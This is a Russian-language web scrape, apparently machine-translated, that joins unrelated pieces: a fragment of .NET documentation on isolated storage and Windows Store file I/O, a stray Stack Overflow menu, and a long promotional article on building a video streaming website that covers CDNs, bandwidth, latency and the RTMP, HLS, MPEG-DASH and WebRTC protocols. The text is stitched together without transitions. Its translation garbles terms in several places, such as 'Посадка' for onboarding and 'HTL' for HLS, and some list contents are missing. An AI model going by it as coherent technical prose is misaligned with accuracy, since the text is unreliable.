Изолированное хранилище - это механизм хранения данных, который обеспечивает изоляцию и безопасность за счет определения стандартизированных способов связывания кода с сохраненными данными. Хранилище предоставляет виртуальную файловую систему, изолированную по пользователю, сборке и (необязательно) домену. Изолированное хранилище особенно полезно, когда ваше приложение не имеет разрешения на доступ к пользовательским файлам. Вы можете сохранять настройки или файлы для своего приложения в соответствии с политикой безопасности компьютера.

Изолированное хранилище недоступно для приложений Магазина Windows 8.x; вместо этого используйте классы данных приложения в пространстве имен Windows.Storage. Для получения дополнительной информации см. Данные приложения.

При реализации изолированного хранилища часто используются следующие классы:

См. Изолированное хранилище.

Операции ввода-вывода в приложениях Магазина Windows

.NET для приложений Магазина Windows 8.x содержит множество типов для чтения и записи в потоки; однако этот набор не включает все.Типы ввода-вывода NET.

Некоторые важные отличия, которые следует учитывать при использовании операций ввода-вывода в приложениях Магазина Windows 8.x:

  • Типы, специально связанные с файловыми операциями, такие как File, FileInfo, Directory и DirectoryInfo, не включены в .NET для приложений Магазина Windows 8.x. Вместо этого используйте типы из пространства имен Windows.Storage среды выполнения Windows, такие как StorageFile и StorageFolder.

  • Изолированное хранилище недоступно; вместо этого используйте данные приложения.

  • Используйте асинхронные методы, такие как ReadAsync и WriteAsync, чтобы предотвратить блокировку потока пользовательского интерфейса.

  • Типы сжатия ZipFile и ZipFileExtensions на основе путей недоступны. Вместо этого используйте типы из пространства имен Windows.Storage.Compression.

При необходимости можно преобразовывать потоки .NET Framework в потоки среды выполнения Windows. Дополнительные сведения см. В разделе Как преобразовать потоки .NET Framework в потоки среды выполнения Windows или WindowsRuntimeStreamExtensions.

Дополнительные сведения об операциях ввода-вывода в приложении Магазина Windows 8.x см. В разделе Краткое руководство: чтение и запись файлов.

Ввод / вывод и безопасность

При использовании классов в пространстве имен System.IO необходимо соблюдать требования безопасности операционной системы, такие как списки управления доступом (ACL) для управления доступом к файлам и каталогам. Это требование является дополнением к любым требованиям FileIOPermission. Вы можете управлять списками ACL программно. Дополнительные сведения см. В разделе «Как добавить или удалить записи списка управления доступом».

Политики безопасности по умолчанию запрещают приложениям Интернета или интрасети доступ к файлам на компьютере пользователя. Поэтому не используйте классы ввода-вывода, которым требуется путь к физическому файлу, при написании кода, который будет загружен через Интернет или интрасеть. Вместо этого используйте изолированное хранилище для приложений .NET.

Проверка безопасности выполняется только при создании потока. Поэтому не открывайте поток и не передавайте его в менее доверенные домены кода или приложений.

  • Общие задачи ввода-вывода
    Предоставляет список задач ввода-вывода, связанных с файлами, каталогами и потоками, а также ссылки на соответствующий контент и примеры для каждой задачи.

  • Асинхронный файловый ввод-вывод
    Описывает преимущества в производительности и основные операции асинхронного ввода-вывода.

  • Изолированное хранилище
    Описывает механизм хранения данных, который обеспечивает изоляцию и безопасность, определяя стандартизированные способы связывания кода с сохраненными данными.

  • Pipes
    Описывает операции анонимных и именованных каналов в .NET.

  • Файлы с отображением в память
    Описывает файлы с отображением в память, которые содержат содержимое файлов на диске в виртуальной памяти. Вы можете использовать файлы с отображением памяти для редактирования очень больших файлов и для создания общей памяти для межпроцессного взаимодействия.

.

c ++ - Создать выходной файл из файлового потока

Переполнение стека
  1. Около
  2. Товары
  3. Для команд
  1. Переполнение стека Общественные вопросы и ответы
  2. Переполнение стека для команд Где разработчики и технологи делятся частными знаниями с коллегами
.

Как создать веб-сайт потокового видео, такой как Netflix, Amazon или Hulu

Индустрия средств массовой информации и развлечений всегда была в авангарде технологических инноваций. Читается негласный закон: либо измениться, либо умереть. Это то, над чем до сих пор размышляют такие действующие игроки, как Disney, Fox, Comcast и Time Warner. Это то, что охватывает такие сервисы потокового видео, как Netflix, Amazon Instant Video и Hulu. Но прежде чем вы узнаете, как создать веб-сайт для потоковой передачи видео, расскажу историю.

Время рассказа

Некогда проигравшая компания по аренде видео, Netflix обратилась к тогдашнему крупному игроку, Blockbuster, с предложением продать 49% компании, чтобы она выступила в качестве онлайн-подразделения гиганта по аренде видео. Netflix оценил его стоимость в 50 миллионов долларов.

«Лунатики!» засмеялся народ блокбастеров, «Разве это не чересчур ?!»

Что ж, они были на высоте! Всего за десять лет Netflix превратился в сервис потокового видео стоимостью 47 миллиардов долларов, чтобы доставлять видеоматериалов через Интернет (OTT)!

Хорошо, вы хотите создать веб-сайт для потокового видео? Давайте углубимся в тему.

Превосходный видеоконтент, а?

Долой загрузок! Правила сервиса потокового видео!

Загрузки - отстой! Ожидание. Место для хранения. И вы хотите свой фильм ПРЯМО СЕЙЧАС! Что ж, сервис потокового видео - ваш кислород. Он передает данные непрерывным потоком, поэтому вы можете смотреть или слушать практически сразу. На самом деле, потоковые файлы трудно сохранить (да, ваши авторские права в безопасности). Они исчезнут, как только вы закончите. Итак, веб-сайт потокового видео сродни телевидению.Единственная разница заключается в носителе - он доставляется через Интернет (также известный как "поверх"). Итак, что значит создать сервер потокового видео?

О, я понял! Еще одна кроличья нора на YouTube!

Почему бы и нет ?! Первоначальная концепция сайта для обмена видео на YouTube превратилась в идеальное место для размещения как предварительно записанных , так и прямых трансляций и прямых трансляций. Netflix и Amazon Prime специализируются на видео по запросу. Хулу находится посередине. Но прямые трансляции также широко распространены в Facebook и других социальных сетях.ТАК БОЛЬШОЙ, ты даже не представляешь!

Поясним.

Видео по запросу предварительно записывается и сжимается. Он хранится на серверах и доставляется одному или нескольким пользователям «по запросу». Но даже если вы не просили , чтобы он запустился (помните те надоедливые рекламные объявления, которые начинают воспроизводиться сами по себе?), Он все равно «по запросу». Ах!

Прямая трансляция - это совсем другая история. Он фиксируется, сжимается и передается в режиме реального времени. Конечно, вам нужны огромные вычислительные ресурсы и зачастую специальная аппаратная поддержка.Но кто не любит спорт, новости или концерты - ЖИТЬ ?! Никогда не пропустите событие в своей жизни! Разве это не мило? Прямая трансляция для кого-то особенного (один на один) или для всего племени (один ко многим) и даже получение обратной связи (двусторонняя).

Интересно, что происходит после того, как живое видео перестает быть таким… эм… «живым»? Periscope и Snapchat оставляют их на 24 часа (вы знаете, FOMO), FB хранит их навсегда.

Итак, потоковое видео, да? Расскажи мне об этом!

Потоковое видео работает, разбивая видео на небольшие части и отправляя их по сети для повторной сборки и воспроизведения в конечном пункте назначения.

Если вас пугает техническая терминология вроде «потоковый протокол», «кодек» или «контейнерный формат», вот метафора путешествия. Представьте, что вы - служба доставки, перевозящая товары, например одежду, оптом (товар - это видео). Кодек будет машиной, которая сжимает одежду в пучок для экономии места. Контейнер формата - это товарный вагон, в котором упакованы эти связки. А протокол потоковой передачи - это железнодорожные пути, сигналы и драйверы, которые доставляют их к месту назначения.

Так вот! Вы достаточно умны, чтобы знать, как запустить веб-сайт с потоковым видео. Но ждать! А как насчет «почему»?

Стриминг видео по сети набирает обороты

Интересно, почему?

  • Место для хранения: Больше никаких загрузок на ноутбук, настольный компьютер или телефон.
  • Доступ: в любое время в любом месте с постоянным подключением к Интернету.
  • Старые добрые кнопки: пауза, перемотка назад, перемотка вперед так же, как на видеомагнитофоне.
  • Под контролем: Кормление с ложечки прочь! Наблюдайте за любимыми шоу.
  • Разнообразие: высококачественных профессиональных видео по запросу, пользовательский контент (UGC) или прямые трансляции событий на любой вкус.
  • Виральность: видеоконтент является наиболее распространенным и интересным (послушайте, послушайте маркетологов!).
Похоже на бизнес, правда?

Рынок потокового видео оценивается в 70 долларов.5 миллиардов в отрасли к 2021 году. Платформы видео по запросу (VOD) обладают огромным потенциалом в образовании, СМИ и развлечениях, электронной коммерции, здравоохранении и других областях. Более того, 80% потребителей согласны с тем, что корпоративные прямые трансляции привлекают внимание, повышают доверие и делают бренд более человечным.

Прямая трансляция набирает обороты в бизнесе, меняя способы проведения маркетинговых кампаний в социальных сетях. Компании транслируют прямые видеотрансляции для демонстраций продуктов и учебных пособий. Некоммерческие организации используют потоковое вещание, чтобы довести основные события до более широкой аудитории.Медиа-организации транслируют новости в прямом эфире. Спортивные лиги используют прямые трансляции, чтобы показывать матчи своим болельщикам, где бы они ни находились. Правительства используют прямую трансляцию, чтобы соблюдать законы об открытых собраниях. Религиозные группы используют потоковое мультимедиа для роста своих прихожан. И вы тоже можете!

Хотите создать веб-сайт для потокового видео?

Каковы бы ни были ваши бизнес-цели, модели или варианты использования, это ваша прерогатива. Как вы собираетесь привлечь аудиторию, какие видео вы собираетесь транслировать (профессиональные, созданные пользователями) или как вы собираетесь монетизировать сайт (подписка, реклама, плата за просмотр или какой-то другой оригинальный способ) выходит за рамки данной статьи.Надеюсь, как стартап, вы не поддадитесь искушению создать другой потоковый сервис, такой как Netflix, а обратитесь к технологической онлайн-компании, которая распространяет видео и выступает в качестве потоковой платформы для творческих людей. Если ваши пользователи являются соавторами, правильная техническая реализация - это главное.

Итак, как запустить сервис потокового видео? Вот минимальный набор функций для разработки веб-сайта с потоковым видео.

Создание веб-сайта для потокового видео: функции для пользователей

Предположим, вы планируете создать потоковую службу или платформу для объединения производителей и потребителей видео.Ваша роль заключается в обеспечении постоянной технической поддержки и администрирования веб-сайта. Конечная цель - порадовать потребителей СМИ - будет достигнута только в том случае, если все части этой мозаики встанут на свои места, то есть если все пользователи сайта будут довольны на всех этапах.

Итак, разработка потоковой платформы включает эту функциональность.

  • Домашняя страница. Место, где можно проинформировать пользователей о преимуществах, которые они найдут, показать им возможности, заворожить их внешним видом и обещаниями развлечений.В разделе «Домашняя страница» представлены фильмы, телешоу, спортивные программы и другие категории контента, и он настраивается в соответствии с предпочтениями каждого пользователя (благодаря сложному алгоритму рекомендаций).
  • Посадка. Излишне говорить, насколько адаптация выгодна для использования продукта. Как еще они узнают, что вы предлагаете лучшую функциональность? Но это еще не все! Уменьшите время обучения пользователей и убедитесь, что они знают все уголки вашего сайта. Это сделает их отдых незабываемым.
  • Регистрация / Вход. Незаменимый интерактивный элемент для службы VOD. Предоставьте пользователю несколько способов регистрации / входа в систему:
    • Вход в Facebook
    • Логин Google
    • Мобильный номер для проверки OTP
    Кроме того, как можно запустить веб-сайт потокового видео без возможности восстановления пароля?
  • Профиль пользователя. Хорошо иметь место, где можно чувствовать себя как дома.После домашней страницы профиль пользователя фактически представляет собой панель для навигации по всему пути, не говоря уже об отличном месте для получения информации (с точки зрения аналитики).
  • Настройки. Предоставление пользователям возможности контролировать уровень своей конфиденциальности - хорошая тактика. Разрешить пользователям переключаться между параметрами конфиденциальности для аудитории и социальных платформ для трансляции.

Потребители видео были бы признательны, если бы вы построили потоковую платформу со следующими функциями:

  • Найдите видео. Когда ваша платформа вырастет, найти контент станет все труднее. Вам нужна строгая система категорий и расширенная система индикаторов для фильтрации пользователей. Сохраните фильтры для поиска по местоположению, теме трансляции, дате, продолжительности видео, жанрам, языку, наиболее просматриваемым и т. Д. Автокоррекция и автозаполнение ускорят процедуру, особенно для мобильного пользователя. Выберите один из этих инструментов, чтобы реализовать поиск на своем веб-сайте.
  • Видеотека. Создавайте "полки" для зрителей, чтобы они могли хранить свои лучшие впечатления от видео - "просмотренные" истории, чтобы посмотреть позже, избранное, лайки, публикации и т. Д. Категория «Истекающие» (Hulu) указывает эпизоды, которые могут быть приоритетными в вашем списке просмотра.
  • Видеоплеер и игры. Видеоплееры - это ваша первая точка контакта с вашей аудиторией, поэтому обеспечение наилучшего качества является ключевым моментом. Зрители могут создать знакомый внешний вид, настроив следующие элементы: логотип плеера, водяной знак, селектор качества (критически важный для мобильной программы просмотра с ограниченным тарифным планом), информационный экран, параметры совместного использования и встраивания, похожие видео, конфигурация списка воспроизведения, загрузка кнопка.Обратите внимание на интеграции: аналитика, монетизация.
  • Подписка и взаимодействие. Пользователи должны иметь возможность подписаться на каналы по своему выбору. Позвольте им взаимодействовать с контентом и сообществом различными способами:
    • Подписаться на каналы
    • Нравится / не нравится видео
    • Комментировать видео
    • Обзор и оценка
    • Поделиться ссылками на бесплатное видео на сайтах
    • Поделиться экраном
    • Онлайн-чат
  • Платежи. Платежи на месте необходимы для удержания пользователей. Пользователи могут платить через PayPal или своей дебетовой / кредитной картой. Две модели оплаты:
    • Оплата за доступ к закрытому контенту (плата за просмотр)
    • Оплачивайте ежемесячную подписку со своей страницы
    Технически это можно реализовать путем интеграции PayPal через Braintree или Stripe.

Создатели видео должны щедро пользоваться лучшими инструментами, которые сделают их пребывание приятным и полезным.Им понадобится доступ к творческой студии и пользовательской аналитике.

  • Загрузка и прием видео. Помогите перенести видео с их нескольких устройств на ваш сайт с помощью загрузки видео. Прием видео позволяет получателю видео принять его и обработать для дальнейшего использования. Используйте студию разными способами:
    • Загрузить файлы с настольных и мобильных устройств
    • Захват видео с веб-камеры
    • Создание записи экрана в реальном времени
    • Запуск онлайн-мероприятий
    • Создание видеопрезентаций с синхронизированным видео и слайдами
    • Импортировать прямо с YouTube одним нажатием кнопки
    • Редактировать запись
  • Управление видео. Управление медиа-библиотекой, даже большой, должно быть простым и понятным. Создатели контента получат выгоду от инструментов для организации видео и метаданных, простого поиска в медиа, редактирования информации, модерации, создания списков воспроизведения и т. Д.
  • Аналитика. Предоставьте создателям комплексную систему отслеживания для измерения вовлеченности.

Роль администратора повысит доверие к вашей платформе. Он включает модерацию контента, управление платежами, расширенную аналитику и мониторинг QoE / QoS.Последнее имеет решающее значение для долгосрочной стратегии платформы.

Готов поспорить, ты хочешь все это прямо сейчас ?! Не так быстро! Мы подошли к самому важному - выбору технологии для разработки веб-сайта с потоковым видео. Не к чему относиться легкомысленно.

Выберите стек технологий для сайта потокового видео

Правильный выбор технологического стека позволяет создать надежный потоковый сервер. Возникает соблазн повторить успех лидеров отрасли. Но есть загвоздка:

  1. Они на много миль впереди вас.Итак, как вы можете догнать уже существующую службу потокового видео, используя те же инструменты?
  2. Они начали некоторое время назад. Технологии развиваются, и на рынке появляются более умные, дешевые и эффективные решения.
  3. Обстоятельства всегда уникальны. И ваша бизнес-модель тоже.

Помните, ваша цель - найти набор инструментов, обеспечивающий уникальные преимущества для вашего проекта. Значит, ярлыков нет. Тратить твое время. Изучите свои варианты.И принимать решения.

Потерпи нас, и в конце концов ты будешь вознагражден. (Подмигивает.)

Понимание архитектуры веб-сайта потоковой передачи

Как работает потоковое видео? Ладно, представьте себе трехслойный пирог. Верхний уровень - это клиентское программное обеспечение, нижний - серверный компонент, а средний - компонент распространения.

Серверный компонент берет сегментированные фрагменты потока, оформляет их в подходящий формат и готовится к распространению.

Компонент распространения , доставляет медиа и связанные ресурсы клиенту по запросу. Для крупномасштабного распространения также могут использоваться пограничные сети или другие сети доставки контента.

Клиентское программное обеспечение определяет видео для запроса, постоянно загружает и повторно собирает потоковые файлы обратно в удобоваримый формат.

Вам нужно правильно выровнять эти три.

Но это еще не все!

Вам нужно экономичное, качественное, ориентированное на будущее решение, обеспечивающее удобство для пользователей.

Изучите требования к серверу потокового видео

Как убедиться, что ваш сайт потокового видео работает хорошо? Суть в балансе этих характеристик производительности:

  • надежное хранилище
  • хорошее сетевое соединение
  • высокая пропускная способность
  • низкий джиттер
  • разумная задержка
  • безопасность

Для его работы требуется управляемый центр обработки данных.

Надежное хранение

Вашим зрителям будет нужна постоянная доступность ваших видео, тогда как для вас это означает наличие места для размещения ваших медиафайлов с максимальным временем безотказной работы. Более того, веб-хостинг должен поддерживать потоковую передачу мультимедиа (не все из них поддерживают), что означает возможность справляться с потенциальными всплесками трафика без простоев и специализироваться на обмене видео.

Самое экономичное решение, пока вы невелики, - это создать два выделенных хранилища.

  • Используйте SSD-накопитель, чтобы максимально оперативно хранить самые свежие и популярные видео.Очевидно, что вы можете хранить все свои данные на SSD, однако это может стоить больших денег.
  • Используйте менее мощный (и более дешевый) тип хранилища для хранения оставшихся, менее популярных видеоданных.

Но по мере вашего роста облачный хостинг становится оптимальным решением. Он берет на себя большую часть бремени потоковой передачи с локального компьютера, ускорения работы и повышения точности и надежности.

Хорошее сетевое соединение

Создание веб-сайта потоковой передачи требует надежного подключения.Даже если вы не планируете быстро расти, в конечном итоге вы собираетесь масштабироваться. Сеть доставки контента (CDN) может многое предложить, и ее немедленное рассмотрение избавит вас от многих хлопот в будущем.

Если вы не знаете, сеть доставки контента - это инфраструктура, которая обеспечивает гарантированную доставку контента пользователям через географически распределенную сеть серверов.

Почему важен CDN? По сути, он превращает ваш потоковый веб-сайт в масштабируемую систему для удовлетворения любого резкого скачка спроса на ваш контент.CDN - это экономичная альтернатива чрезмерному наращиванию собственных серверов.

Но есть и другие причины:

  • Помогает предотвратить перегрузку сервера
  • Меньшее время ответа на запрос
  • Меньшая вероятность потери пакета

Вот подробный пост о том, как выбрать CDN.

Высокая пропускная способность

Какой пропускной способности достаточно для работы веб-сайта с потоковым видео? Рассмотрим это:

Пользователю требуется 4 Мбит / с для просмотра видео 720p в реальном времени.Представьте, что у вас было 2500+ пользователей, просматривающих одно и то же видео одновременно. Это 10 Гбит / с! HD-видео (1080p) требует еще большего. Теперь, когда разрешение 4K становится почти стандартным будущим, Hulu рекомендует 13 Мбит / с, Amazon рекомендует 15 Мбит / с и Netflix 25 Мбит / с. Вы ведь умеете посчитать?

При разработке веб-сайтов для видеостриминга важны две вещи - качественный CDN и правильный протокол (об этом мы скоро поговорим).

Низкий джиттер

Термин «дрожание» указывает на изменение задержки или колебания сетевой задержки.Это вызывает пропадание кадров видео, замораживание изображений, рассинхронизацию звука и видео и другие проблемы.

Прерывистая потоковая передача стала головной болью как для поставщиков видео по запросу (VOD), так и для потребителей, даже лидеры потоковой передачи (такие как Netflix) не застрахованы от отказа. А что с живым видео? Технические проблемы потокового видео в реальном времени включают дрожание, высокую задержку, потерю пакетов и асимметрию сети.

Для борьбы с джиттером широко используется потоковая передача с адаптивной скоростью передачи (ABR) .При адаптивной потоковой передаче HTTP исходное видео (файл или прямой поток) кодируется в сегменты файла - иногда называемые «фрагментами» - с использованием желаемого формата, который включает в себя контейнер, видеокодек, аудиокодек, протокол шифрования и т. Д. Сегменты обычно представляют собой от двух (до десяти) секунд видео. Впоследствии сегменты размещаются на обычном веб-сервере. Они могут отличаться битрейтом, разрешением, кодеком или профилем / уровнем кодека.

Недавно был представлен подход, основанный на ИИ, для выбора правильного битрейта.Исследователи из MIT CSAIL разработали алгоритм нейронной сети, получивший название «Pensieve», который обеспечивает плавный поток с наилучшим возможным качеством. Эффект в том, что перебуферизация упала на 10-30, а качество изображения повысилось на 10-25.

Разумные характеристики задержки

Ужасная правда о потоковом видео в реальном времени состоит в том, что на самом деле никогда не бывает «живым» . Все, что снимает камера, доставляется конечному зрителю с задержкой (надеюсь) в несколько секунд. Причина в… задержке, то есть времени, которое требуется сообщению (пакету), чтобы добраться от пункта отправления до пункта назначения.

Какая задержка является разумной при потоковой передаче в реальном времени?

Это зависит от обстоятельств. Если вы смотрите концерт вживую, это нормально, если задержка составляет 30–45 секунд. Но другие варианты использования, такие как видеоконференции, ставки и торги или видеоигры, требуют сверхнизкой задержки.

Итак, как обеспечить потоковую передачу с низкой задержкой?

Не существует готового решения, вам нужно найти правильный баланс этих трех факторов:

  • Протокол кодирования и совместимость устройства / плеера
  • Размер аудитории и географическое распределение
  • Разрешение и сложность видео

Протокол потоковой передачи имеет огромное значение для задержки.Например, RTMP (протокол обмена сообщениями в реальном времени) и WebRTC (веб-связь в реальном времени) являются стандартами для потоковой передачи с низкой задержкой. Мы рассмотрим это в ближайшее время.

Еще одним важным фактором является ваш потоковый сервер или облачный сервис. Вам понадобится технология потоковой передачи, которая обеспечит точный контроль задержки и качества видео, а также максимальную гибкость.

Безопасность

Как вы защитите свой закрытый контент от несанкционированного использования на всех потребительских устройствах? Для обеспечения безопасности вашего сайта потокового видео необходимо учитывать множество факторов.

  • Сетевой фон - надежный CDN, гарантирующий глобальное присутствие и мгновенное соединение; 24/7 мониторинг и резервное копирование для обеспечения доступности контента в случае сбоя сервера.
  • Безопасность токена - для предотвращения перенаправления контента на сторонний источник без разрешения владельца.
  • Ограничение домена. Функция, называемая реферерами, позволяет привязать контент к определенному домену. Это предотвращает просмотр встроенной ссылки в исходном коде и поэтому ее нельзя встроить на другой сайт.
  • Географическое ограничение - вы можете исключить определенные местоположения по причинам авторского права и лицензионного соглашения.
  • Водяной знак - обеспечивает дополнительный уровень безопасности прямой трансляции в том смысле, что вы сохраняете права на свой собственный контент.
  • Просмотрщик безопасности платежей. Вам потребуется полное SSL-шифрование транзакций, выполняемых через ваш платный доступ. Этот вид шифрования обеспечивает серию проверок для обеспечения безопасности платежных данных пользователей.

Изучите протоколы потокового видео

Если вы собираетесь настроить платформу VOD или потоковой передачи в реальном времени, возможно, вы захотите немного глубже изучить технологию потоковой передачи.

Не паникуйте! Мы здесь, чтобы помочь.

Большинство видеофайлов не предназначены для потоковой передачи. Протокол потокового видео - это стандартизированный метод доставки для разделения видео на фрагменты, отправки его зрителю и повторной сборки. Не смешивайте его с кодеком, который относится к технологии сжатия видео.

Выбор протокола зависит от ваших приоритетов. Вы хотите качества? Или задержка имеет значение? В первом случае используйте протоколы с адаптивным битрейтом (ABR) , которые обеспечивают наилучшее качество видео при текущей скорости интернета. В последнем случае выберите с низкой задержкой, единиц. Некоторые протоколы работают только в определенных системах. Другие сосредоточены на управлении цифровыми правами (DRM).

Давайте посмотрим на самые популярные на сегодняшний день.

RTMP

Протокол обмена сообщениями в реальном времени (разработанный Macromedia) сегодня широко используется в основном для приема потокового видео в реальном времени.Это по-прежнему лучший вариант для потоковой передачи в реальном времени, поскольку он имеет наименьшую задержку среди других технологий. Он также используется как резервный вариант для HLS, HDS, SmoothStreaming или DASH, когда речь идет о платформах, которые не поддерживают эти протоколы.

Но есть загвоздка. Вы можете отправить видео в CDN, используя протокол RTMP, но вам понадобится еще один, чтобы доставить его конечному пользователю (обычно протокол потоковой передачи HTL). Зачем? Поскольку RTMP зависит от подключаемого модуля Flash, который имеет проблемы с безопасностью, этот протокол был поэтапно закрыт для зрителей.

плюсы

минусов

  • Лучшее для прямых трансляций
  • Обеспечивает потоки с очень низкой задержкой
  • Надежный и почти универсальный
  • Небезопасно для доставки видео
  • Дорого для CDN, так как работает без кеширования
  • Шифрование, подверженное атакам MITM
  • Нет встроенной поддержки в iOS
Когда использовать: Идеальное решение для потоковой передачи и обмена данными между клиентами, у которых есть Flash Player
MPEG-DASH

Группа экспертов по движущимся изображениям Динамическая адаптивная потоковая передача через HTTP (MPEG-DASH) - это перспективный вариант, интересный во многих отношениях.Это независимый от производителя стандарт, совместимый практически с любым форматом кодирования. Благодаря возможности настройки посекундной передачи, MPEG-DASH устраняет некоторые давние технические проблемы с доставкой и сжатием. Как придешь? Он реализует AI для выбора сегментов и интервалов в мультимедийном контенте с максимально возможным битрейтом, который может быть загружен для воспроизведения без буферизации. В результате во время потоковой передачи используется меньше данных. Протокол поддерживает зашифрованные медиа-расширения (EME), которые представляют собой стандартные API-интерфейсы для управления цифровыми правами (DRM) на основе браузера.Единственный недостаток - поддержка кодека H.265 запрещена по причинам лицензирования.

плюсы

минусов

  • Поддерживает потоковую передачу ABR
  • Независимость от кодека
  • поддерживает EME
  • Поддержка HTML5
  • Алгоритм перекодирования, управляемый ИИ
  • Не поддерживает H.265 (проблема с лицензией HEVC)
Когда использовать: Перспективно в ближайшем будущем (как только будет выпущен видеокодек следующего поколения AV1)
HLS

HTTP Live Streaming (HLS) Протокол на данный момент кажется самым безопасным вариантом. Он широко известен как надежный и обеспечивает наилучшее впечатление от аудитории. Первоначально разработанный Apple для удаления Flash с iPhone, теперь он поддерживается на настольных ПК, смарт-телевизорах, Android и iOS.Видеоплееры HTML5 также изначально поддерживают HLS (но не RTMP). Так что, если вы планируете масштабирование, это ваш выбор номер один для создания потокового сервиса.

плюсы

минусов

  • Поддерживает потоковую передачу ABR
  • Новинка! Поддерживает кодек H.265, который обеспечивает вдвое лучшее качество видео при том же размере файла, что и H.264; и предлагает больше крутых улучшений!
  • Поддержка HTML5
  • Относительно высокая задержка
  • Зависит от платформы (максимальная производительность только на iOS)
Когда использовать: Самая безопасная ставка на сегодняшний день для масштабирования прямой трансляции для большой аудитории
WebRTC - коммуникационные технологии будущего в реальном времени

Магия WebRTC заключается в его способности передавать аудио и видео между браузерами в режиме реального времени с без загрузок или плагинов .Вы просто открываете веб-страницу и начинаете общение. Он обеспечивает передачу голоса, видео, совместное использование экрана, интерактивную доску и онлайн-игры с без дополнительного клиентского программного обеспечения, кроме стандартного веб-браузера . Другими словами, он открывает двери для прямой непрерывной связи практически с любой конечной точки: телефонов, веб-страниц, киосков, автомобилей и даже бытовой техники.

Его простота и потенциальная повсеместность делают его отличным решением для потоковой передачи видео, особенно в области видеоконференцсвязи и однорангового обмена данными.

WebRTC (Web Real Time Communication) на самом деле не протокол, а стек протоколов.

Протокол основан на трех основных API :

  • MediaStream. Отвечает за предоставление возможности веб-браузеру получать аудио- и видеосигналы с камер или с рабочего стола пользователя.
  • RTCPeerConnection. Отвечает за соединение между браузерами для обмена медиаданными, полученными с камеры, микрофона или рабочего стола пользователя.В его «обязанности» также входит обработка сигнала (очистка его от фонового шума, регулировка уровня микрофона) и управление используемыми аудио- и видеокодеками.
  • RTCDataChannel. Отвечает за двустороннюю передачу данных через установленное соединение.

Очевидно, WebRTC гораздо сложнее HLS. Он обеспечивает тесный обмен данными между отправителем и получателем через RTCP-обратную связь, контроль пропускной способности и таргетинг на задержку. Таким образом, идеально подходит для потокового вещания, когда низкая задержка является обязательной .В сочетании с RTMP для приема потокового видео он является идеальным решением для потоковой передачи в реальном времени.

Ты все еще здесь ?! Поздравляю! Вы добрались до награды (помните? Мы обещали). Получи свой приз!

БОНУС! Стартовый комплект для веб-сайта потокового видео

Как стартап, вы ищете какое-нибудь реальное и экономичное техническое решение, как запустить потоковый веб-сайт. Ниже приведено подтверждение концепции проекта, который CodeTiburon помог реализовать.Это включало создание веб-сайта VOD на базе AWS.

Заключить

Итак, если вы хотите создать потоковый веб-сайт, такой как Netflix, Hulu, Amazon Instant Video или YouTube, не сосредотачивайтесь на контенте и не пытайтесь повторить успех крупных онлайн-видео компаний. Вместо этого создает отличную технологическую онлайн-компанию, распространяющую видео . Используйте возможности технологий, чтобы креативность сияла новыми красками, точно так же, как Upworthy делает с медиа-курированием и переработкой, чтобы дать контенту новую жизнь, добавив повествования, эмоционального элемента и многого другого.Так что не сосредотачивайтесь на контенте, предоставьте инструменты для создателей контента. Создайте цифровое пространство, неотразимое для творческих людей, и они придут, чтобы украсить его своими историями.

Вам понравилось чтение? Это было полезно? Ваше мнение помогает нам создавать лучший контент. Используйте реакции, чтобы оценить статью. Или оставьте нам сообщение в комментариях. Мы здесь, чтобы повысить вашу техническую смекалку.

4.3 / 5.0 рейтинг (439 голосов)

.

Смотрите также